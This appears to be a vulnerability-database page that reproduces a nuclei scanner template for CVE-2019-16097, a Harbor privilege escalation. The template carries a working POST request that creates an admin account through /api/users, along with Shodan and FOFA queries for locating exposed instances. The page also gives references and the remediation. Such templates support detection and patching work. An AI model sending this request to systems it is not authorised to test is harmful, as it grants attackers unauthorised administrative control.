Lucene search
K

Harbor <=1.82.0 - Privilege Escalation

🗓️ 29 Jun 2026 05:52:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 68 Views

Harbor <=1.82.0 Privilege Escalation via user.g

Related
Refs
Code
id: CVE-2019-16097

info:
  name: Harbor <=1.82.0 - Privilege Escalation
  author: pikpikcu
  severity: medium
  description: Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information.
  remediation: Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP.
  reference:
    - https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
    - https://github.com/goharbor/harbor/issues/8951
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16097
    - https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517
    - http://www.vmware.com/security/advisories/VMSA-2019-0015.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-16097
    cwe-id: CWE-862
    epss-score: 0.23284
    epss-percentile: 0.97491
    cpe: cpe:2.3:a:linuxfoundation:harbor:1.7.0:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: linuxfoundation
    product: harbor
    shodan-query: http.favicon.hash:657337228
    fofa-query: icon_hash=657337228
  tags: cve,cve2019,intrusive,harbor,linuxfoundation,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/api/users'

    body: |
      {"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "[email protected]", "realname": "poc"}

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "username has already been used"
          - "Location: /api/users/"
        condition: or

      - type: status
        status:
          - 201
          - 409
        condition: or
# digest: 490a00463044022055a2224d9ab83de6006586d63d16ba5b4ea546592b207b4a68477a3cc98950f902204d6c6e9c5750a829ed9c538779090d5a6013a642face40023fea507bff1fe32c:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 24
CVSS 3.16.5
EPSS0.23284
68